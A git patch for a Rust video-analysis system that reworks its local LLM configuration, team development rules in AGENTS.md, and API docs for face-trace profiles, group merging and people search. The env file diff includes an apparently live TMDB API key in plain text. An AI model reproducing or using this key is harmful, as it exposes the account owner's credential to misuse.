From 39a2cbc65b82a8ae1304fbf0b7ed0688e52cf98b Mon Sep 17 00:00:00 2001 From: Accusys Date: Mon, 27 Jul 2026 02:15:51 +0800 Subject: [PATCH] fix: face group name read consistency, sync_file_status fix, cleanup ghost records, identity_agent replaced with face_dedup - get_face_groups_handler: COALESCE(tp.name, tn.label) for name consistency - sync_file_status: compare JSON vs pre_chunks (not chunk table) - face consistency: compare frames.len() not total_faces - cleanup 2 ghost records with NULL file_name/file_path - replace identity_agent with face_dedup in pipeline stages - remove identity_agent_api.rs and all references - update required_processors to match actual processors - update AGENTS.md with team responsibilities - add Studio pipeline changes documentation --- .env.development | 23 +- AGENTS.md | 101 +- docs_v1.0/API_WORKSPACE/modules/05_process.md | 29 +- .../API_WORKSPACE/modules/10_pipeline.md | 2 +- docs_v1.0/API_WORKSPACE/modules/18_profile.md | 208 +++ .../API_WORKSPACE/modules/19_people_api.md | 396 +++++ .../modules/21_studio_team_guide.md | 199 +++ .../modules/22_studio_pipeline_changes.md | 207 +++ .../modules/23_studio_face_group_name_fix.md | 114 ++ .../API_WORKSPACE/modules/99_incomplete.md | 4 +- .../AlwaysProduce_Processing_Contract.md | 148 ++ .../DESIGN/FACE_TRACKING_PIPELINE_V1.0.md | 341 ++++ docs_v1.0/DESIGN/FILE_LIFECYCLE_V1.0.md | 637 ++++++-- docs_v1.0/DESIGN/FILE_PROFILE_V1.0.md | 153 ++ .../DESIGN/Face_Pose_Appearance_Design.md | 339 ++++ docs_v1.0/DESIGN/Trace_Inheritance_Rules.md | 209 +++ docs_v1.0/GUIDES/QC_FaceCluster_Support.md | 270 ++++ .../2026-07-20_cluster_agent_state.md | 56 + .../2026-07-22_studio_api_analysis.md | 352 +++++ .../2026-07-22_studio_api_usage_analysis.md | 360 +++++ ...6-07-22_studio_core_api_recommendations.md | 360 +++++ ...26-07-23_session_verification_checklist.md | 221 +++ .../2026-07-23_trace_profile_api_issue.md | 164 ++ docs_v1.0/STATUS_TERMINOLOGY.md | 52 + docs_v1.0/doc_developer/15_tkg.html | 261 ++- docs_v1.0/doc_developer/18_profile.html | 3 +- docs_v1.0/doc_developer/index.html | 2 +- docs_v1.0/doc_wasm/modules/05_process.md | 29 +- docs_v1.0/doc_wasm/modules/07_identity.md | 1 + .../doc_wasm/modules/08_identity_agent.md | 61 +- docs_v1.0/doc_wasm/modules/10_pipeline.md | 21 +- docs_v1.0/doc_wasm/modules/15_tkg.md | 226 ++- docs_v1.0/doc_wasm/modules/18_profile.md | 75 +- embedding_eval_results.json | 265 ++++ .../face_pose_sync_poc/crop_experiment | Bin 0 -> 269600 bytes experiments/face_pose_sync_poc/experiment | Bin 0 -> 166552 bytes .../face_pose_crop_experiment.swift | 338 ++++ .../face_pose_experiment.swift | 237 +++ .../face_pose_sync_poc/generate_pose_traced | Bin 0 -> 473528 bytes .../generate_pose_traced.swift | 309 ++++ experiments/face_pose_sync_poc/main.swift | 372 +++++ .../face_pose_sync_poc/match_face_pose.swift | 234 +++ experiments/face_pose_sync_poc/run | Bin 0 -> 326784 bytes experiments/face_pose_sync_poc/stability_test | Bin 0 -> 147040 bytes .../face_pose_sync_poc/stability_test.swift | 214 +++ migrations/037_add_completed_at_to_videos.sql | 12 + scripts/TOOL_CALLER_ISSUES.md | 386 +++++ scripts/TOOL_CALLING_README.md | 438 ++++++ scripts/appearance_processor.py | 1 + scripts/appearance_processor_v2.py | 164 ++ scripts/asr_processor.py | 2 + scripts/asrx_processor.py | 30 +- scripts/asrx_processor_custom_v1.11.py | 22 +- scripts/assign_pose_trace.py | 235 +++ scripts/audio_track_probe.py | 302 ++++ scripts/backfill_profiles.py | 149 ++ scripts/backfill_trace_profiles.py | 259 +++ scripts/compare_pose_detections.py | 148 ++ scripts/cut_key_frame.py | 146 ++ scripts/eval_embedding_models.py | 286 ++++ scripts/face_clustering_processor.py | 558 ++++--- scripts/face_processor.py | 51 +- scripts/fast_face_clustering_processor_v2.py | 278 ++++ ...ast_face_clustering_processor_v3_backup.py | 563 +++++++ scripts/filter_pose_by_face.py | 128 ++ scripts/filter_poses_by_face.py | 189 +++ scripts/fix_stale_processing.sql | 22 + scripts/hand_processor.py | 1 + scripts/interval_vlm_caption.py | 303 ++++ scripts/load_trace_profiles.py | 257 +++ scripts/mediapipe_pose_aligned.py | 246 +++ scripts/mediapipe_pose_processor.py | 219 +++ scripts/ocr_processor.py | 1 + scripts/pose_processor.py | 2 + scripts/pose_processor_v2.py | 195 +++ scripts/qc_completed_files.py | 162 ++ scripts/scene_vlm_caption.py | 330 ++++ scripts/swift_processors/Package.swift | 16 + .../swift_appearance_expansion.swift | 332 ++++ .../swift_pose_expansion.swift | 376 +++++ scripts/test_mediapipe_pose_alignment.py | 345 ++++ scripts/test_tool_caller.py | 141 ++ scripts/tool_caller.py | 790 ++++++++++ scripts/trace_vlm_caption.py | 345 ++++ scripts/yolo_processor.py | 1 + src/api/agent_search.rs | 128 +- src/api/cluster_agent.rs | 29 +- src/api/files.rs | 261 ++- src/api/health.rs | 23 +- src/api/identity_agent_api.rs | 1398 ----------------- src/api/identity_binding.rs | 12 +- src/api/media_api.rs | 173 +- src/api/mod.rs | 1 - src/api/profile.rs | 302 +++- src/api/scan.rs | 133 +- src/api/search.rs | 166 +- src/api/server.rs | 2 - src/api/trace_agent_api.rs | 64 +- src/api/universal_search.rs | 408 ++--- src/cli/agent.rs | 3 +- src/core/agent/tools.rs | 525 +++++-- src/core/chunk/types.rs | 2 + src/core/db/postgres_db.rs | 80 +- src/core/db/qdrant_db.rs | 15 +- src/core/file_lifecycle.rs | 703 +++++++++ src/core/file_profile.rs | 559 +++++++ src/core/ingestion.rs | 53 +- src/core/mod.rs | 3 + src/core/pipeline/mod.rs | 78 + src/core/processor/asr.rs | 2 + src/core/processor/face_clustering.rs | 18 +- src/core/processor/tkg.rs | 147 +- src/core/progress.rs | 2 +- src/core/proxy.rs | 263 ++++ src/playground.rs | 2 + src/verification/schema.rs | 4 +- src/watcher/watcher.rs | 2 + src/worker/job_worker.rs | 765 +++++---- 118 files changed, 19386 insertions(+), 2964 deletions(-) create mode 100644 docs_v1.0/API_WORKSPACE/modules/19_people_api.md create mode 100644 docs_v1.0/API_WORKSPACE/modules/21_studio_team_guide.md create mode 100644 docs_v1.0/API_WORKSPACE/modules/22_studio_pipeline_changes.md create mode 100644 docs_v1.0/API_WORKSPACE/modules/23_studio_face_group_name_fix.md create mode 100644 docs_v1.0/DESIGN/AlwaysProduce_Processing_Contract.md create mode 100644 docs_v1.0/DESIGN/FACE_TRACKING_PIPELINE_V1.0.md create mode 100644 docs_v1.0/DESIGN/FILE_PROFILE_V1.0.md create mode 100644 docs_v1.0/DESIGN/Face_Pose_Appearance_Design.md create mode 100644 docs_v1.0/DESIGN/Trace_Inheritance_Rules.md create mode 100644 docs_v1.0/GUIDES/QC_FaceCluster_Support.md create mode 100644 docs_v1.0/M4_workspace/2026-07-20_cluster_agent_state.md create mode 100644 docs_v1.0/M4_workspace/2026-07-22_studio_api_analysis.md create mode 100644 docs_v1.0/M4_workspace/2026-07-22_studio_api_usage_analysis.md create mode 100644 docs_v1.0/M4_workspace/2026-07-22_studio_core_api_recommendations.md create mode 100644 docs_v1.0/M4_workspace/2026-07-23_session_verification_checklist.md create mode 100644 docs_v1.0/M4_workspace/2026-07-23_trace_profile_api_issue.md create mode 100644 docs_v1.0/STATUS_TERMINOLOGY.md create mode 100644 embedding_eval_results.json create mode 100755 experiments/face_pose_sync_poc/crop_experiment create mode 100755 experiments/face_pose_sync_poc/experiment create mode 100644 experiments/face_pose_sync_poc/face_pose_crop_experiment.swift create mode 100644 experiments/face_pose_sync_poc/face_pose_experiment.swift create mode 100755 experiments/face_pose_sync_poc/generate_pose_traced create mode 100644 experiments/face_pose_sync_poc/generate_pose_traced.swift create mode 100644 experiments/face_pose_sync_poc/main.swift create mode 100644 experiments/face_pose_sync_poc/match_face_pose.swift create mode 100755 experiments/face_pose_sync_poc/run create mode 100755 experiments/face_pose_sync_poc/stability_test create mode 100644 experiments/face_pose_sync_poc/stability_test.swift create mode 100644 migrations/037_add_completed_at_to_videos.sql create mode 100644 scripts/TOOL_CALLER_ISSUES.md create mode 100644 scripts/TOOL_CALLING_README.md create mode 100644 scripts/appearance_processor_v2.py create mode 100644 scripts/assign_pose_trace.py create mode 100755 scripts/audio_track_probe.py create mode 100644 scripts/backfill_profiles.py create mode 100644 scripts/backfill_trace_profiles.py create mode 100644 scripts/compare_pose_detections.py create mode 100644 scripts/cut_key_frame.py create mode 100644 scripts/eval_embedding_models.py create mode 100644 scripts/fast_face_clustering_processor_v2.py create mode 100644 scripts/fast_face_clustering_processor_v3_backup.py create mode 100644 scripts/filter_pose_by_face.py create mode 100644 scripts/filter_poses_by_face.py create mode 100644 scripts/fix_stale_processing.sql create mode 100644 scripts/interval_vlm_caption.py create mode 100644 scripts/load_trace_profiles.py create mode 100644 scripts/mediapipe_pose_aligned.py create mode 100644 scripts/mediapipe_pose_processor.py create mode 100644 scripts/pose_processor_v2.py create mode 100644 scripts/qc_completed_files.py create mode 100755 scripts/scene_vlm_caption.py create mode 100644 scripts/swift_processors/swift_appearance_expansion.swift create mode 100644 scripts/swift_processors/swift_pose_expansion.swift create mode 100644 scripts/test_mediapipe_pose_alignment.py create mode 100644 scripts/test_tool_caller.py create mode 100644 scripts/tool_caller.py create mode 100755 scripts/trace_vlm_caption.py delete mode 100644 src/api/identity_agent_api.rs create mode 100644 src/core/file_lifecycle.rs create mode 100644 src/core/file_profile.rs create mode 100644 src/core/proxy.rs diff --git a/.env.development b/.env.development index d42d2d6..fcc37d1 100644 --- a/.env.development +++ b/.env.development @@ -72,19 +72,20 @@ REDIS_CACHE_TTL_VIDEO_META=3600 # TMDb Integration (probe phase - auto-create identities from movie metadata) TMDB_API_KEY=e9cde52197f6f8df4d9db99da93db1fb MOMENTRY_TMDB_PROBE_ENABLED=true -# LLM for 5W1H summary (points to M5 Gemma4) -MOMENTRY_LLM_SUMMARY_URL=http://127.0.0.1:8000/v1/chat/completions -MOMENTRY_LLM_SUMMARY_MODEL=gemma-4-E4B +# LLM Configuration +# Agent Search uses Ollama (llama3.1:8b) - OpenAI-compatible endpoint +MOMENTRY_LLM_CHAT_URL=http://localhost:11434/v1/chat/completions +MOMENTRY_LLM_CHAT_MODEL=llama3.1:8b + +# VLM uses llama.cpp (llava-v1.6-vicuna-13b) +MOMENTRY_LLM_VISION_URL=http://localhost:8091/v1/chat/completions +MOMENTRY_LLM_VISION_MODEL=llava-v1.6-vicuna-13b + +# Summary LLM uses Ollama +MOMENTRY_LLM_SUMMARY_URL=http://localhost:11434/v1/chat/completions +MOMENTRY_LLM_SUMMARY_MODEL=llama3.1:8b MOMENTRY_LLM_SUMMARY_ENABLED=true -# LLM Chat (E4B on port 8000) -MOMENTRY_LLM_CHAT_URL=http://127.0.0.1:8000/v1/chat/completions -MOMENTRY_LLM_CHAT_MODEL=gemma-4-E4B - -# LLM Vision (E4B on port 8000) -MOMENTRY_LLM_VISION_URL=http://127.0.0.1:8000/v1/chat/completions -MOMENTRY_LLM_VISION_MODEL=gemma-4-E4B - # Embedding (ANE CoreML server) MOMENTRY_EMBED_URL=http://localhost:11436 diff --git a/AGENTS.md b/AGENTS.md index aa6297e..4581958 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -19,19 +19,29 @@ Rust-based digital asset management system with video analysis and RAG capabilit ### 開發範圍界定 | 範圍 | 狀態 | 說明 | |------|------|------| -| `momentry_core_0.1/` | ✅ **可開發** | Momentry Core 主要開發目錄 | -| `momentry_core_0.1/portal/` | ✅ **可開發** | Tauri Portal 前端 | -| `momentry_core_0.1/src/` | ✅ **可開發** | Rust 後端程式碼 | -| `/Users/accusys/wordpress/` | ❌ **禁止修改** | WordPress/Marcom 團隊負責 | +| `~/momentry_core/` | ✅ **可開發** | Momentry Core 後端(Rust),Core team 負責 | +| `~/momentry_core/portal/` | ⚠️ **僅供測試** | Tauri Portal 僅用於測試,非正式前端 | +| `~/momentry_studio/` | ❌ **禁止修改** | Momentry Studio 前端,**Studio team 負責** | +| `/Users/accusys/wordpress/` | ❌ **禁止修改** | WordPress 網站僅供參考,已被 Studio 取代 | | n8n 工作流 | ❌ **禁止修改** | 自動化流程,與 dev 無關 | | WordPress/n8n 資料庫 table | ❌ **禁止修改** | Marcom 團隊管理,與 dev 無關 | +### 團隊職責劃分 +| 團隊 | 負責專案 | 目錄 | +|------|---------|------| +| **Core team** | Momentry Core 後端 | `~/momentry_core/` | +| **Studio team** | Momentry Studio 前端 | `~/momentry_studio/` | +| **Marcom team** | WordPress 網站(已停用) | `/Users/accusys/wordpress/` | + ### 開發環境 -| 服務 | Port | 用途 | 命令 | -|------|------|------|------| -| Playground | 3003 | **唯一開發環境** | `cargo run --bin momentry_playground -- server` | -| Production | 3002 | ❌ 禁止修改 | `cargo run -- server` (僅 release 時) | -| Portal (Tauri) | 1420 | 前端開發 | `npm run tauri dev` | +| 服務 | Port | 用途 | 命令 | 狀態 | +|------|------|------|------|------| +| Playground | 3003 | ~~開發環境~~ (暫停) | `cargo run --bin momentry_playground -- server` | 🔴 已暫停 (節省 memory) | +| Production | 3002 | **開發 + 生產環境** | `cargo run -- server` | 🟢 運行中 (debug binary) | +| Portal (Tauri) | 1420 | 前端開發 | `npm run tauri dev` | - | + +> **注意 (2026-07-25)**: Playground (3003) 已暫停服務。Production (3002) 改為直接用於開發測試。新功能可直接部署至 3002。 +> **注意 (2026-07-23)**: 為節省記憶體,Playground (3003) 已關閉。Production (3002) 目前使用 debug binary 運行(已套用 smart_search 修復)。正式 release 時需重新 build release binary。 ### 日誌與啟動 | 服務 | 日誌路徑 | 啟動方式 | @@ -234,6 +244,77 @@ grep -i "error\|panic\|FAIL" logs/momentry_*.log | tail -20 | `momentry_playground` | Development | 3003 | `momentry_dev:` | `.env.development` | | `momentry_player` | Video player | - | - | - | +## LLM Services + +### 環境一致性原則 + +**生產環境 (port 3002) 與 Playground (port 3003) 使用相同的 LLM/VLM/Embedding 服務。** + +### LLM Configuration + +| 用途 | Model | 服務 | Port | API 格式 | +|------|-------|------|------|----------| +| **Agent Search** | `llama3.1:8b` | Ollama | 11434 | `/v1/chat/completions` | +| **VLM(視覺)** | `llava-v1.6-vicuna-13b` | llama.cpp | 8091 | `/v1/chat/completions` | +| **Embedding** | `embeddinggemma-300m` | Python | 11436 | Custom | + +### Model 檔案位置 + +``` +/Users/accusys/models/ +├── llava-v1.6-vicuna-13b.Q4_K_M.gguf (VLM model) +├── mmproj-model-f16.gguf (VLM mmproj) +├── embeddinggemma-300M-Q8_0.gguf (Embedding model) +├── gemma-4-E4B-it-Q4_K_M.gguf (Text LLM) +└── google_gemma-4-26B-A4B-it-Q5_K_M.gguf (Text LLM) +``` + +### 啟動命令 + +**Ollama (llama3.1:8b)** +```bash +ollama serve # Service +ollama run llama3.1:8b # Interactive +curl http://localhost:11434/api/chat # API endpoint +``` + +**llama.cpp (llava-v1.6-vicuna-13b)** +```bash +/Users/accusys/llama/bin/llama-server \ + -m /Users/accusys/models/llava-v1.6-vicuna-13b.Q4_K_M.gguf \ + --mmproj /Users/accusys/models/mmproj-model-f16.gguf \ + --host 0.0.0.0 \ + --port 8091 \ + -ngl 99 \ + -c 4096 +``` + +**Embedding (embeddinggemma-300m)** +```bash +python3 scripts/embeddinggemma_server.py --port 11436 +``` + +### VLM 用途 + +- **Face trace VLM**: 描述人物外貌(衣著、顏色、配件) +- **Scene VLM**: 場景分析 +- **Agent `analyze_frame`**: 畫面分析工具 + +### Agent Search 語言 + +- **預設使用英文回答**(除非用戶明確要求其他語言) +- System prompt 已明確規範 LLM 必須使用英文回應 + +### 環境變數 + +```bash +# .env.development +MOMENTRY_LLM_CHAT_URL=http://localhost:11434/api/chat +MOMENTRY_LLM_CHAT_MODEL=llama3.1:8b +MOMENTRY_LLM_VISION_URL=http://localhost:8091/v1/chat/completions +MOMENTRY_LLM_VISION_MODEL=llava-v1.6-vicuna-13b +``` + ## Testing ```bash @@ -272,6 +353,8 @@ cargo check --all-features - Use Rust 2021 edition - Use tracing for logging (not println!) - Keep lines under 100 characters +- **Always provide absolute paths when referencing files** — use full paths like `/Users/accusys/momentry_core/src/main.rs` instead of relative paths like `src/main.rs` +- **All document references MUST include full paths** — when listing files to modify, API endpoints, or cross-references in docs, always use absolute paths (e.g., `/Users/accusys/momentry_core/docs_v1.0/API_WORKSPACE/modules/19_people_api.md`) ### Imports (order: std → external → local) ```rust diff --git a/docs_v1.0/API_WORKSPACE/modules/05_process.md b/docs_v1.0/API_WORKSPACE/modules/05_process.md index a3dd3e6..408c166 100644 --- a/docs_v1.0/API_WORKSPACE/modules/05_process.md +++ b/docs_v1.0/API_WORKSPACE/modules/05_process.md @@ -145,11 +145,30 @@ Get real-time processing progress for a file via Redis pub/sub. Includes per-pro | 3 | `asrx` | asr | Speaker diarization | | 4 | `yolo` | — | Object detection | | 5 | `ocr` | — | Text recognition | -| 6 | `face` | — | Face detection & embedding | -| 7 | `pose` | — | Pose estimation | -| 8 | `visual_chunk` | yolo | Visual scene chunks | -| 9 | `story` | asr, asrx, cut, yolo, face | Scene summaries (template) | -| 10 | `5w1h` | story | 5W1H analysis (Gemma4 LLM) | +| 6 | `face` | — | Face detection & embedding (8Hz sampling) | +| 7 | `face_trace` | face | Face tracking (IoU + embedding, assigns trace_id) | +| 8 | `pose` | face_trace | Pose expansion from face traces, inherits trace_id | +| 9 | `appearance` | pose | Appearance expansion from pose traces, inherits trace_id | + +**Key Concepts:** +- **Face** = Identity anchor (who is this person?) — requires high-quality embedding +- **Pose** = Tracking (where is this person?) — extends tracking when face is occluded +- **Appearance** = Tracking (what do they look like?) — extends tracking when pose is occluded + +**Trace ID Inheritance:** +``` +Face trace (identity anchor) + ↓ inherits trace_id +Pose expansion (tracking continuity) + ↓ inherits trace_id +Appearance expansion (tracking continuity) +``` + +**Frame Count Relationship:** +``` +face frames ≤ pose frames ≤ appearance frames +``` +(Each level expands outward from the previous level's traces) All processors except `story` and `5w1h` run concurrently when their dependencies are met. Story and 5W1H run sequentially after their prerequisites. diff --git a/docs_v1.0/API_WORKSPACE/modules/10_pipeline.md b/docs_v1.0/API_WORKSPACE/modules/10_pipeline.md index b4bd39f..6a4b928 100644 --- a/docs_v1.0/API_WORKSPACE/modules/10_pipeline.md +++ b/docs_v1.0/API_WORKSPACE/modules/10_pipeline.md @@ -120,7 +120,7 @@ The following routes are defined in source code but are **NOT** currently mounte | Endpoint | Source file | |----------|-------------| -| `/api/v1/search/persons` | `universal_search.rs` (not mounted) | +| `/api/v1/search/people` | `universal_search.rs` (mounted) | | `/api/v1/who` | `who.rs` | | `/api/v1/who/candidates` | `who.rs` | diff --git a/docs_v1.0/API_WORKSPACE/modules/18_profile.md b/docs_v1.0/API_WORKSPACE/modules/18_profile.md index b9c594b..c4995da 100644 --- a/docs_v1.0/API_WORKSPACE/modules/18_profile.md +++ b/docs_v1.0/API_WORKSPACE/modules/18_profile.md @@ -6,6 +6,68 @@ Endpoints for managing trace profiles (face track metadata stored in TKG) and file profiles (video metadata stored in PostgreSQL). +--- + +## Terminology + +### Core Concepts + +| Term | Definition | Identifier | Display Format | +|------|------------|------------|----------------| +| **Face** | A single human face detection on one frame | `face_id` | Usually not displayed | +| **Face Sequence (Trace)** | A collection of faces across multiple frames representing the same person | `trace_id` | `FS#233` | +| **Face Group** | A collection of traces sharing the same name/label | `label` (string) | `"Person A"` | + +### Data Model Hierarchy + +``` +Video + └── Frame (F#233, F#234, ...) ← Single frame number + └── Face ← Single detection (bbox + confidence) + └── Face Sequence / Trace ← Same person across frames (FS#233) + └── Face Group ← Multiple traces with same name +``` + +### Example + +``` +Video: "interview.mp4" + ├── Frame F#100 + │ └── Face (bbox: {100, 200, 50, 50}, confidence: 0.95) + ├── Frame F#105 + │ └── Face (bbox: {110, 205, 48, 48}, confidence: 0.92) + ├── Frame F#110 + │ └── Face (bbox: {115, 210, 52, 52}, confidence: 0.88) + ... + +Face Sequence FS#233 = [Face@F#100, Face@F#105, Face@F#110, ...] + ↓ +Face Group "Person A" = [FS#233, FS#234, FS#235] +``` + +### Storage + +| Entity | Storage | Table/Collection | +|--------|---------|------------------| +| Face | Qdrant | `_faces` collection | +| Face Sequence / Trace | PostgreSQL (TKG) | `tkg_nodes` where `node_type='face_track'` | +| Face Group | PostgreSQL (TKG) | `tkg_nodes.label` field | + +### Operations + +| Operation | Level | API | +|-----------|-------|-----| +| View faces | Face | Internal (embedded in trace data) | +| Merge traces | Trace | `POST /api/v1/trace/:file_uuid/merge` | +| Rename group | Group | `PUT /api/v1/trace-profile/group` | +| Merge groups | Group | `POST /api/v1/file/:file_uuid/groups/merge` | + +### Naming Convention + +- **Frame**: `F#{number}` — e.g., `F#233` +- **Face Sequence / Trace**: `FS#{number}` — e.g., `FS#233` +- **Face Group**: String name — e.g., `"Person A"`, `"Speaker 1"` + ### `GET /api/v1/trace-profile` **Auth**: Required @@ -158,6 +220,151 @@ curl -s -X PUT "$API/api/v1/trace-profile/group" \ --- +### `POST /api/v1/file/:file_uuid/groups/merge` + +**Auth**: Required +**Scope**: file-level + +Merge multiple face groups into one target group. All traces from source groups are reassigned to the target group name. + +#### Request Body + +| Field | Type | Required | Description | +|-------|------|----------|-------------| +| `file_uuid` | string | Yes | File UUID | +| `source_groups` | string[] | Yes | List of group names to merge from | +| `target_group_name` | string | Yes | Target group name to merge into | + +#### Examples + +**Merge 2 groups**: + +```bash +curl -s -X POST "$API/api/v1/file/$FILE_UUID/groups/merge" \ + -H "X-API-Key: $KEY" \ + -H "Content-Type: application/json" \ + -d '{ + "file_uuid": "c36f35685177c981aa139b66bbbccc5b", + "source_groups": ["Person A"], + "target_group_name": "Person B" + }' +``` + +**Merge 4 groups**: + +```bash +curl -s -X POST "$API/api/v1/file/$FILE_UUID/groups/merge" \ + -H "X-API-Key: $KEY" \ + -H "Content-Type: application/json" \ + -d '{ + "file_uuid": "c36f35685177c981aa139b66bbbccc5b", + "source_groups": ["Person A", "Person C", "Person D"], + "target_group_name": "Person B" + }' +``` + +#### Response (200) + +```json +{ + "success": true, + "file_uuid": "c36f35685177c981aa139b66bbbccc5b", + "source_groups": ["Person A", "Person C", "Person D"], + "target_group_name": "Person B", + "traces_merged": 12, + "message": "Merged 3 group(s) into 'Person B'" +} +``` + +#### Error Responses + +| HTTP | Condition | +|------|-----------| +| `400` | Target group in source_groups list | +| `400` | Empty source_groups array | +| `500` | Database error | + +#### Behavior + +1. Find all traces with `label IN (source_groups)` +2. Update their labels to `target_group_name` +3. All source groups disappear (no traces left) +4. Target group contains all traces from merged groups + +--- + +### Merging Groups: Two Methods + +#### Method 1: Use Merge Groups API (Recommended) + +```bash +POST /api/v1/file/:file_uuid/groups/merge +{ + "file_uuid": "...", + "source_groups": ["Person A", "Person C"], + "target_group_name": "Person B" +} +``` + +**Pros**: Simple, only requires group names, supports multi-group merge +**Cons**: New API (requires backend update) + +#### Method 2: Use Batch Update API (Existing) + +```bash +PUT /api/v1/trace-profile/group +{ + "file_uuid": "...", + "trace_ids": [13, 14, 15, 43, 44], + "name": "Person B" +} +``` + +**Pros**: Works with existing API +**Cons**: Frontend must collect all trace_ids from both groups + +#### Example: Merge Group A and C into Group B + +**Before**: +``` +Group A: [13, 14, 15] +Group B: [43, 44] +Group C: [67, 68] +``` + +**Method 1 (Recommended)**: +```bash +curl -X POST "$API/api/v1/file/$FILE_UUID/groups/merge" \ + -H "X-API-Key: $KEY" \ + -H "Content-Type: application/json" \ + -d '{ + "file_uuid": "c36f35685177c981aa139b66bbbccc5b", + "source_groups": ["Person A", "Person C"], + "target_group_name": "Person B" + }' +``` + +**Method 2 (Existing API)**: +```bash +curl -X PUT "$API/api/v1/trace-profile/group" \ + -H "X-API-Key: $KEY" \ + -H "Content-Type: application/json" \ + -d '{ + "file_uuid": "c36f35685177c981aa139b66bbbccc5b", + "trace_ids": [13, 14, 15, 43, 44, 67, 68], + "name": "Person B" + }' +``` + +**After**: +``` +Group A: [] (disappeared) +Group B: [43, 44, 13, 14, 15, 67, 68] +Group C: [] (disappeared) +``` + +--- + ### `GET /api/v1/file-profile` **Auth**: Required @@ -264,5 +471,6 @@ curl -s -X PUT "$API/api/v1/file-profile" \ | `aliases` | `properties->'aliases'` | Multi-language name aliases | --- +*Updated: 2026-07-25 — Added Merge Groups API (POST /groups/merge), added Terminology section (Face, Face Sequence, Face Group)* *Updated: 2026-07-21 — Fixed external_id matching (trace_N + face_track_N formats), fixed parameter ordering in UPDATE query* *Updated: 2026-07-18 — New profile module: trace-profile (GET, PUT, PUT group) and file-profile (GET, PUT)* diff --git a/docs_v1.0/API_WORKSPACE/modules/19_people_api.md b/docs_v1.0/API_WORKSPACE/modules/19_people_api.md new file mode 100644 index 0000000..cf9b5c8 --- /dev/null +++ b/docs_v1.0/API_WORKSPACE/modules/19_people_api.md @@ -0,0 +1,396 @@ +# People API + +**Version**: 2.0 +**Date**: 2026-07-26 +**Base URL**: `http://localhost:3002` +**Auth**: Requires API key header (`Authorization: Bearer `) +**Doc Path**: `/Users/accusys/momentry_core/docs_v1.0/API_WORKSPACE/modules/19_people_api.md` + +--- + +## 資料架構 + +### trace_profiles(PostgreSQL — People Search 專用) + +每筆 `file_uuid + trace_id` 對應一個 face trace profile: + +| 欄位 | 類型 | 說明 | +|------|------|------| +| `file_uuid` | string | 影片 UUID | +| `trace_id` | integer | Face trace ID(8Hz 取樣追蹤) | +| `name` | string | FS name(Face 頁面顯示 + People Search 搜尋) | +| `start_frame` | integer | 起始 frame | +| `end_frame` | integer | 結束 frame | +| `frame_count` | integer | 追蹤 frame 數(8Hz 取樣,多數 > 1) | +| `key_frame` | string | 關鍵幀圖片路徑 | +| `key_face` | string | 關鍵人臉裁切路徑 | +| `avg_confidence` | float | 平均偵測信心值 | +| `status` | string | 狀態(pending/confirmed) | + +### 可搜尋註記(metadata / VLM 欄位) + +`trace_profiles` 包含 VLM 產生的註記,可用於進階搜尋和統計: + +| 欄位 | 類型 | 說明 | +|------|------|------| +| `vlm_description` | text | VLM 人物外貌描述 | +| `vlm_clothing` | text | VLM 衣著描述 | +| `vlm_tags` | text[] | VLM 標籤陣列 | +| `vlm_location` | string | VLM 地點 | +| `vlm_setting` | string | VLM 場景設定 | +| `vlm_lighting` | string | VLM 光線 | +| `vlm_weather` | string | VLM 天氣 | +| `vlm_background` | text | VLM 背景描述 | +| `vlm_bg_tags` | text[] | VLM 背景標籤 | + +### tkg_nodes(PostgreSQL — TKG 圖譜專用,與 profile 獨立) + +| 欄位 | 說明 | +|------|------| +| `external_id` | 如 "trace_9",對應 `trace_profiles.trace_id` | +| `label` | TKG 圖譜節點標籤(與 `trace_profiles.name` 獨立) | +| `properties` | TKG 節點屬性 | + +### _faces(Qdrant — Face 向量比對) + +Face embedding 向量存在 Qdrant `_faces` collection,可用作 seed 比對: + +| Payload 欄位 | 類型 | 說明 | +|-------------|------|------| +| `file_uuid` | string | 影片 UUID | +| `trace_id` | integer | Face trace ID | +| `identity_id` | integer \| null | 已綁定的 identity ID | +| `frame` | integer | Frame 編號 | +| `embedding` | vector[512] | FaceNet 512-d embedding | +| `bbox` | object | 人臉 bbox(x, y, width, height) | +| `confidence` | float | 偵測信心值 | + +--- + +## 1. GET /api/v1/search/people + +搜尋已命名的 face trace profiles。回傳符合 name 的卡片列表。 + +### Query Parameters + +| Parameter | Type | Required | Description | +|-----------|------|----------|-------------| +| `query` | string | ✅ Yes | 搜尋關鍵字(ILIKE 模糊比對 `trace_profiles.name`) | +| `file_uuid` | string | ❌ Optional | 限制搜尋範圍 | +| `limit` | integer | ❌ Optional | 回傳筆數上限(預設 10) | + +### Example Request + +```bash +# 搜尋名字 +curl -X GET "http://localhost:3002/api/v1/search/people?query=Susan" + +# 搜尋 VLM 註記(衣著、地點、標籤) +curl -X GET "http://localhost:3002/api/v1/search/people?query=blue+shirt" + +# 限定影片 +curl -X GET "http://localhost:3002/api/v1/search/people?file_uuid=abc123&query=Tom" +``` + +### 搜尋範圍 + +People Search 會搜尋以下欄位(ILIKE 模糊比對): + +| 欄位 | 說明 | +|------|------| +| `name` | FS name | +| `vlm_description` | VLM 人物外貌描述 | +| `vlm_clothing` | VLM 衣著描述 | +| `vlm_tags` | VLM 標籤陣列 | +| `vlm_location` | VLM 地點 | +| `vlm_setting` | VLM 場景設定 | + +### Response + +```json +{ + "people": [ + { + "file_uuid": "4655a0ab3c077e30c12b2298c2750650", + "file_name": "", + "trace_id": 9, + "external_id": "trace_9", + "name": "Susan", + "start_frame": 118, + "end_frame": 384, + "frame_count": 39, + "start_time": null, + "end_time": null, + "key_frame": "key_frame.jpg", + "key_face": null, + "avg_confidence": 0.694 + } + ], + "total": 18 +} +``` + +### Response Fields + +| Field | Type | Description | +|-------|------|-------------| +| `file_uuid` | string | 影片 UUID | +| `trace_id` | integer | Face trace ID | +| `external_id` | string \| null | TKG node external_id(如 "trace_9") | +| `name` | string \| null | 使用者命名的 FS name | +| `start_frame` | integer \| null | 起始 frame | +| `end_frame` | integer \| null | 結束 frame | +| `frame_count` | integer \| null | 追蹤 frame 數(8Hz 取樣) | +| `start_time` | float \| null | 起始時間(秒) | +| `end_time` | float \| null | 結束時間(秒) | +| `key_frame` | string \| null | 關鍵幀圖片路徑 | +| `key_face` | string \| null | 關鍵人臉裁切路徑 | +| `avg_confidence` | float \| null | 平均偵測信心值 | + +--- + +## 2. POST /api/v1/search/universal + +統一搜尋。設定 `types: ["people"]` 搜尋人物,或組合 `"chunk"`、`"frame"`。 + +People Search 會搜尋 `trace_profiles` 的 `name` + `vlm_*` 欄位: +- `name` — FS name +- 